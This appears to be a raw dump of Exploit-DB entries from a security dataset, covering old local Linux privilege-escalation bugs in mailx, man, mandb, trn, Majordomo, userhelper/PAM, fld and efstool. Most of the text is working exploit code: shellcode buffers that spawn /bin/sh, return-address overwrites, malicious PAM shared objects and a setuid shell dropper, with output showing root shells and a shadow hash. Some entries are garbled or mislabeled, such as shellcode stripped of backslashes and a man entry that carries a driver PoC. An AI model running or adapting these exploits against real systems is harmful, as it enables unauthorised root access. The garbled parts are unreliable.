deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23197
Description: Mah-Jong 1.4 - MJ-Player Server Flag Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-09-29
Author: jsk

Exploit:
// source: https://www.securityfocus.com/bid/8729/info

A problem in the handling of large requests supplied with certain flags has been reported in Maj-Jong. Because of this, it may be possible for a local attacker to gain elevated privileges.

/*
*   mj-server(client) local root(possible in debian)  exploit
*   test in (redhat7.2----redhat8.0)
*   coded by jsk
*
*  (c) Ph4nt0m Security Team  /www.ph4nt0m.org
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFSIZE 150


char shellcode[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31"
"xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8d"
"x56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxff"
"xffx2fx62x69x6ex2fx73x68x58";
void banner (void);

void banner (void)
{
fprintf (stdout, "\n [+] mj-server local  exploit
mail:<jsk@ph4nt0m.net>");
fprintf (stdout, "\n [+] by jsk < <a href="http://www.ph4nt0m.org"
target="_blank"><a href="http://www.ph4nt0m.org"
target="_blank">www.ph4nt0m.org</a></a>> talk with me <irc.0x557.org
#ph4nt0m> ");
fprintf (stdout, "\n [+] spawning shell \n\n");
}

int main(void)
{
    char buf[BUFSIZE+16];
    char *prog[] = {"/home/mj-1.4-src/mj-server","--server", buf, NULL};
    char *env[] = {"HOME=jsk", shellcode, NULL};
    unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
    strlen(shellcode) - 0x02;
    memset(buf,0x41,sizeof(buf));
    memcpy(buf+BUFSIZE,(char *)&ret,4);
    memcpy(buf+BUFSIZE+4,(char *)&ret,4);
    memcpy(buf+BUFSIZE+8,(char *)&ret,4);
    buf[BUFSIZE+12] = 0x00;
    printf("\n [+] Using address: 0x%x", ret);
    banner ();
    execve(prog[0],prog,env);
    return 0;
}
Exploit-DB #19992
Description: mailx 8.1.1-10 (BSD/Slackware) - Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 1999-07-03
Author: funkysh

Exploit:
/*
source: https://www.securityfocus.com/bid/1305/info
 
Some Linux distributions ship with BSD mailx 8.1.1-10 (On Slackware 7.x it can be found as /usr/bin/Mail).
 
A vulnerability exists in the 'mail' program, part of the Berkeley mailx package. The 'mail' program contains a buffer overflow condition that is present when the -c parameter is used at the command line.
 
On systems where it is installed setgid, this vulnerability can be exploited to gain group 'mail' privileges.
*/

/*
 * ..just couse it is no longer secret :>
 *
 * mailx sploit (linux x86)
 * funkySh 3/07/99
 * tested under Slackware 3.6,4.0,7.0  offset = 0-500
 *              Debian  2.0r2,2.1,2.2  offset = -7000  ..ugh ;]
 *
 * buffer overrun in cc-addr option, gives "mail" group privileges
 * (if mailx is installed setgid mail).
 * Remember to define GID - it is different on Slack/Debian
 *
 */

#include <stdio.h>

#define GID    "\x08"  // Debian
//#define GID    "\x0c"  // Slackware

char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
              "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
               GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
              "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
              "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
              "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
              /* setregid + generic shell code */

#define BUFFER 10000
#define NOP 0x90
#define PATH "/usr/bin/Mail"

char buf[BUFFER];

unsigned long getesp(void) {
   __asm__("movl %esp,%eax");
   }
int main(int argc, char * argv[])
{
  int i, offset = 0;
  long address;
  if(argc > 1) offset = atoi(argv[1]);
  address = getesp() -11000 + offset;
  memset(buf,NOP,BUFFER);
  memcpy(buf+800,code,strlen(code));
  for(i=876;i<BUFFER-2;i+=4)
    *(int *)&buf[i]=address;
  fprintf (stderr, "Hit '.' to get shell..\n");
  execl(PATH, PATH, "x","-s","x","-c", buf,0);
}
Exploit-DB #19699
Description: Majordomo 1.94.4/1.94.5 - Local -C Parameter (1)
Type: local
Platform: linux
Date: 1999-12-29
Author: Shevek

Exploit:
source: https://www.securityfocus.com/bid/903/info

It is possible for a local user to gain majordomo privileges through a vulnerability which allows privileged arbitrary commands to be executed. If the -C parameter is passed to majordomo (or one of several other scripts) when run with the setuid root wrapper, the argument to -C will be executed with majordomo privileges. 

This occurs on several scripts: archive2.pl, bounce-remind, config-test, digest, majordomo, request-answer and resend. medit under bin/, and archive_mh.pl, new-list, and sequencer under Tools/ uses 'require' in the same way, but since the wrapper only executes those scripts found in the majordomo installation directory, they cannot be exploited.

shevek@tirin ~$ cat foo.pl
system("/bin/csh");
shevek@tirin ~$ /usr/local/majordomo/wrapper majordomo -C /home/shevek/foo.pl
%
%whoami
majordom
------

Here's another example (using a different script), posted to Bugtraq by Federico G. Schwindt <Federico G. Schwindt> on May 23, 2000:

$ cat /tmp/myconf
system("/bin/sh");
$ id
uid=1000(fgsch) gid=1000(fgsch) groups=1000(fgsch), 0(wheel), 11(core)
$ ./wrapper bounce-remind -C /tmp/myconf
$ id
uid=41(majordom) gid=41(majordom) groups=1000(fgsch), 0(wheel), 11(core)
Exploit-DB #29822
Description: Man Command - -H Flag Local Buffer Overflow
Type: local
Platform: linux
Date: 2007-04-06
Author: Daniel Roethlisberger

Exploit:
// source: https://www.securityfocus.com/bid/23355/info

The 'man' command is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

NOTE: Presumably, this issue is exploitable only when 'man' has been installed setuid.

Exploiting this issue allows attackers to execute malicious machine code with the privileges of the 'man' utility. This can result in the compromise of affected computers. Failed exploit attempts will likely result in denial-of-service conditions. 

PoC Code:
---------
/*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>

int main(int argc, char *argv[]) {
    int fd, i, n;
    char buf[8192];

    /*
     * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
     * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
     */
    for (i = 0; i < sizeof(buf); i += 2) {
        buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
        buf[i+1] = (char) ((i/2) & 0x00FF);
    }

    if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
        printf("Error: open() => %s\n", strerror(errno));
        exit(errno);
    }
    if ((n = write(fd, buf, sizeof(buf))) < 0) {
        printf("Error: write() => %s\n", strerror(errno));
        exit(errno);
    }
    printf("%d of %d bytes written\n", n, sizeof(buf));
    exit(0);
}
Exploit-DB #22344
Description: Man Program 1.5 - Unsafe Return Value Command Execution
Type: local
Platform: linux
Date: 2003-03-11
Author: Jack Lloyd

Exploit:
source: https://www.securityfocus.com/bid/7066/info

It has been reported that the man program does not properly handle some types of input. When a man page is processed that could pose a potential security risk, the program reacts in a way that may open a window of opportunity for an attacker to execute arbitrary commands.

$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh

echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)
$
Exploit-DB #23168
Description: Man Utility 2.3.19 - Local Compression Program Privilege Escalation
Type: local
Platform: linux
Date: 2003-09-22
Author: Sebastian Krahmer

Exploit:
source: https://www.securityfocus.com/bid/8675/info

A vulnerability has been reported in man that may allow an attacker to gain elevated privileges. The problem lies in man failing to carry out sufficient sanity checks before executing a user-defined compression program. As a result, it may be possible for an attacker to execute arbitrary code with user 'man' privileges. 

#!/usr/bin/perl

# (C) 2003 Sebastian Krahmer PoC UID man exploit. Bug
# originally reported to me by author (Huh, thats strange direction I
# know, but I reported another hole first. :-)
#
# If it doesnt work, use a different manpage, one that isnt already
# compressed (seldom used).

print "A manpage will soon pop up. Please press 'q' then (ENTER)\n\n";
<STDIN>;

my $mp = ">$ENV{HOME}/.manpath";
open(MP, $mp) or die;
print MP "DEFINE compressor /tmp/compress0r\n";
close MP;

open(T, ">/tmp/compress0r.c") or die $!;
print T<<EOT;
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
  setresuid(13, 13, 13);
  setresgid(62, 62, 62);
  system("cc /tmp/boomsh.c -o /tmp/boomsh");
  chmod("/tmp/boomsh", 06755);
  return 0;
}
EOT
close T;
system("cc -o /tmp/compress0r /tmp/compress0r.c");

open(BS, ">/tmp/boomsh.c") or die $!;
print BS<<_EOBS_;
#include <stdio.h>
int main()
{
  char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL};

  setresuid(13, 13, 13);
  setresgid(62, 62, 62);
  execve(*a, a, NULL);
  return -1;
}
_EOBS_
close BS;

if (($pid = fork()) == 0) {
	exec("man", "yuvsplittoppm"); # some not-already-zipped page
	exit;
} else {
	wait;
}

print "Entering UID man shell...\n";
exec("/tmp/boomsh");
Exploit-DB #22971
Description: ManDB Utility 2.3/2.4 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-07-29
Author: V9

Exploit:
source: https://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault
Exploit-DB #776
Description: Mandrake / Slackware /usr/bin/trn - Local Privilege Escalation (Not SUID)
Type: local
Platform: linux
Date: 2005-01-26
Author: ZzagorR

Exploit:
/*
/usr/bin/trn local root exploit
By ZzagorR - http://www.rootbinbash.com
*/
/*
 sh-2.05b$ ./trn
  usage   : ./trn ret buf
  example : ./trn 0xbfffff64
  [+] mandrake   9.2  = 0xbfffff96
  [+] slackware 10.0.0= 0xbfffff98
  [+] slackware  9.1.0= 0xbfffff84
 sh-2.05b$
 sh-2.05b$ ./trn 0xbfffff84 128
  [BOO  %] 128
  [RET  %] bfffff84
 sh-2.05b#
 sh-2.05b# id
  uid=0(root) gid=98(nobody) groups=98(nobody)
 sh-2.05b# cat /etc/shadow
  root:$1$N88/N.aP$dBWcFHiYCXXNb77Y5LPNK1:12705:0:::::
TEST :
 MANDRAKE 9.2
 SLACKWARE 10.0.0
 SLACKWARE 9.1.0
 http://www.rootbinbash.com/d0kum4n/trn-test.txt
BOO:
 $trn `perl -e 'print "A" x 120'`
 $trn `perl -e 'print "A" x 124'`
 $trn `perl -e 'print "A" x 128'`
  Segmentation fault
BOO=128
*/

#include <stdio.h>
#include <string.h>
#define NEREDE "/usr/bin/trn"

char caylarbeles[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[]){
 int bizim;
 char bufe[1000];
 char *tayfasi;
 if (argc < 3) {
  printf ("{           trn l0c4l r00t 3xpl01t          }\n");
  printf ("{  By ZzagorR - http://www.rootbinbash.com  }\n");
  printf ("{  usage   : %s ret buf                  }\n",argv[0]);
  printf ("{  example : %s 0xbfffff99 142           }\n",argv[0]);
  printf ("{  mandrake   9.2   = 0xbfffff96            }\n");
  printf ("{  slackware 10.0.0 = 0xbfffff98            }\n");
  printf ("{  slackware  9.1.0 = 0xbfffff84            }\n");
  exit(1);
 }else{
  unsigned long RET=strtoul(argv[1], NULL, 16);
  int BOO = atoi(argv[2]);
   printf ("[BOO  %] %i\n",BOO);
   printf ("[RET  %] %x\n",RET);
  tayfasi = bufe;
  memset(bufe, 0x41,256-strlen(caylarbeles));
  sprintf(bufe+256-strlen(caylarbeles), "%s", caylarbeles);
  for ( bizim = BOO; bizim <= BOO+4; bizim+= 4 )
   *(long*)(tayfasi+bizim) = RET;
  execl(NEREDE, NEREDE , bufe, NULL);
 }
}

// milw0rm.com [2005-01-26]
Exploit-DB #19709
Description: Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path (1)
Type: local
Platform: linux
Date: 2000-01-04
Author: dildog

Exploit:
Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability (1)

source: https://www.securityfocus.com/bid/913/info

Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.

This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.


#!/bin/sh
#
# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
# found by dildog@l0pht.com
#  
# synopsis:
#    both 'pam' and 'userhelper' (a setuid binary that comes with the
#    'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
#    _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
#    being setuid means we can get root. 
#
# fix: 
#    No fuckin idea for a good fix. Get rid of the .. paths in userhelper 
#    for a quick fix. Remember 'strcat' isn't a very good way of confining
#    a path to a particular subdirectory.
#
# props to my mommy and daddy, cuz they made me drink my milk.

cat > _pamslam.c << EOF
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
void _init(void)
{
    setuid(geteuid());
    system("/bin/sh");
}
EOF

echo -n .

echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf

echo -n .

gcc -fPIC -o _pamslam.o -c _pamslam.c

echo -n o

ld -shared -o _pamslam.so _pamslam.o

echo -n o

chmod 755 _pamslam.so

echo -n O

rm _pamslam.c
rm _pamslam.o

echo O

/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf

sleep 1s

rm _pamslam.so
rm _pamslam.conf
Exploit-DB #19710
Description: Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path (2)
Type: local
Platform: linux
Date: 2000-03-15
Author: Elias Levy

Exploit:
// source: https://www.securityfocus.com/bid/913/info
 
Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.
 
This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.


/*
 * pam-mdk.c (C) 2000 Paulo Ribeiro
 *
 * DESCRIPTION:
 * -----------
 * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
 * exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
 * I created this C program based on it which exploits PAM/userhelper
 * and gives you UID 0.
 *
 * SYSTEMS TESTED:
 * --------------
 * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
 *
 * RESULTS:
 * -------
 * [prrar@linux prrar]$ id
 * uid=501(prrar) gid=501(prrar) groups=501(prrar)
 * [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk
 * [prrar@linux prrar]$ ./pam-mdk
 * sh-2.03# id
 * uid=0(root) gid=501(prrar) groups=501(prrar)
 * sh-2.03#
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        FILE *fp;

        strcpy(argv[0], "vi test.txt");

        fp = fopen("abc.c", "a");
        fprintf(fp, "#include<stdlib.h>\n");
        fprintf(fp, "#include<unistd.h>\n");
        fprintf(fp, "#include<sys/types.h>\n");
        fprintf(fp, "void _init(void) {\n");
        fprintf(fp, "\tsetuid(geteuid());\n");
        fprintf(fp, "\tsystem(\"/bin/sh\");\n");
        fprintf(fp, "}");
        fclose(fp);

        system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
        system("chmod 755 abc.conf");
        system("gcc -fPIC -o abc.o -c abc.c");
        system("ld -shared -o abc.so abc.o");
        system("chmod 755 abc.so");
        system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
        system("rm -rf abc.*");
}
Exploit-DB #20024
Description: Mandrake 7.0/7.1 / RedHat Kon2 0.3.9 - '/usr/bin/fld' Input File Overflow
Type: local
Platform: linux
Date: 2000-08-01
Author: E-Ligth

Exploit:
/*
source: https://www.securityfocus.com/bid/1371/info

KON (Kanji On Console) is a package for displaying Kanji text under Linux and comes with two suid binaries which are vulnerable to buffer overflows. "fld", one of the vulnerable programs, accepts options input from a text file. Through this mechanism it is possible to input arbitrary code into the stack and spawn a root shell. The other binary, kon, suffers from a buffer overflow as well. The buffer overflow in kon can be exploited via the -StartupMessage command line option, and fld via the command line options: -t bdf <file to be read> 
*/

/* Exploit code for /usr/bin/fld
  
   Compile with : gcc -o xp xp.c
   
   Made by : E-Ligth (Hugo Oliveira Dias) 01/08/2000 
*/


 #include <string.h>
 #include <stdlib.h>
 #include <stdio.h>

 #define OFFSET 0
 #define BUFFSIZE 541
 #define NOP 0x90

 char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/zh";

 unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
 }

 int main(int argc,char *argv[])
 {
   int bsize = BUFFSIZE;
   int offset = OFFSET;
  int i;
   long *addr_ptr, addr;
   char *ptr,*buf,*env;
   char arg[30];

  if (!(buf = malloc(bsize))) {
      printf("Can't allocate memory.\n"); 
      exit(0);
   }
 
 
  ptr = buf;
  for (i = 0; i < bsize; i++)
 
     *(ptr++) = shellcode[i];
   
  buf[519] = 0x3c; /* Saved EBP 0xbffffa3c */ 
  buf[520] = 0xfa;
  buf[521] = 0xff;
  buf[522] = 0xbf;
 
  buf[523] = 0x10; /* Return Address  0xbffff710 */ 
  buf[524] = 0xf7;
  buf[525] = 0xff;
  buf[526] = 0xbf;
    
  buf[527] = 0x90; /* fp variable 0x804bf90 */
  buf[528] = 0xbf;
  buf[529] = 0x04;
  buf[530] = 0x08;
 
  buf[531] = 0xef; /* variable thats shouldn�t be destroyed 0xbffffbef */
  buf[532] = 0xfb;  
  buf[533] = 0xff;
  buf[534] = 0xbf;
    
  buf[535] = 0x60; /* variable thats shouldn�t be destroyed 0x40013460 */
  buf[536] = 0x34;
  buf[537] = 0x01;
  buf[538] = 0x40;
   
  memcpy(buf,"-type \"",7);
  buf[540] = '\0';
  buf[539] = '\"';
 
  memcpy(arg,"-type bdf ./code",16);
  arg[16] = '\0';   
 
  env = (char *) malloc(bsize + 10);
  memcpy(env,"EGG=",4);
 
  strcat(env,buf);
 
  putenv(env);
 
  system("/bin/bash");
 
   exit(0);
Exploit-DB #21583
Description: Mandrake 7/8/9 / RedHat 6.x/7 Bonobo EFSTool - Commandline Argument Buffer Overflow (1)
Type: local
Platform: linux
Date: 2002-06-29
Author: clorox

Exploit:
source: https://www.securityfocus.com/bid/5125/info

Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.

A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code. 

#!/usr/bin/perl
# efstool root exploit
# written by clorox of Ptrac Networks for BKACC(Bored Kids At ComputerCamp)
# give the campers internet grogan!
#
# tested to work on slackware 8, mandrake 8, mandrake 7.1
# tweaks may be needed on the offset
# method 1 works more often but
# method 2 is faster but not too good
#
#
# enjoy -clorox
# perl efs.pl -1000

$shellcode =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89".
"\x46\x0c\x89\x76\x08\xb0\x0b\x87\xf3".
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29".
"\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff".
"/bin/sh";

$shellcode2 =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88".
"\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3".
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31".
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";

$ret = "0xbfffe890";
$offset = $ARGV[0];
$nop = "\x90";

if ($ARGV[1] eq "m1") {
        $len = 3000;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        }
        $buffer .= $shellcode;
} elsif ($ARGV[1] eq "m2") {
        $len = 10010;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        }
        $buffer .= $shellcode2;
} else {
        print "You must specify a method fool!\n";
        print "perl $0 <offset> m1 or m2\n";
}

$buffer .= pack('l', ($ret + $offset));
$buffer .= pack('l', ($ret + $offset));
exec("efstool $buffer");
# and on the seventh day clorox said "LET THERE BE SHELL!"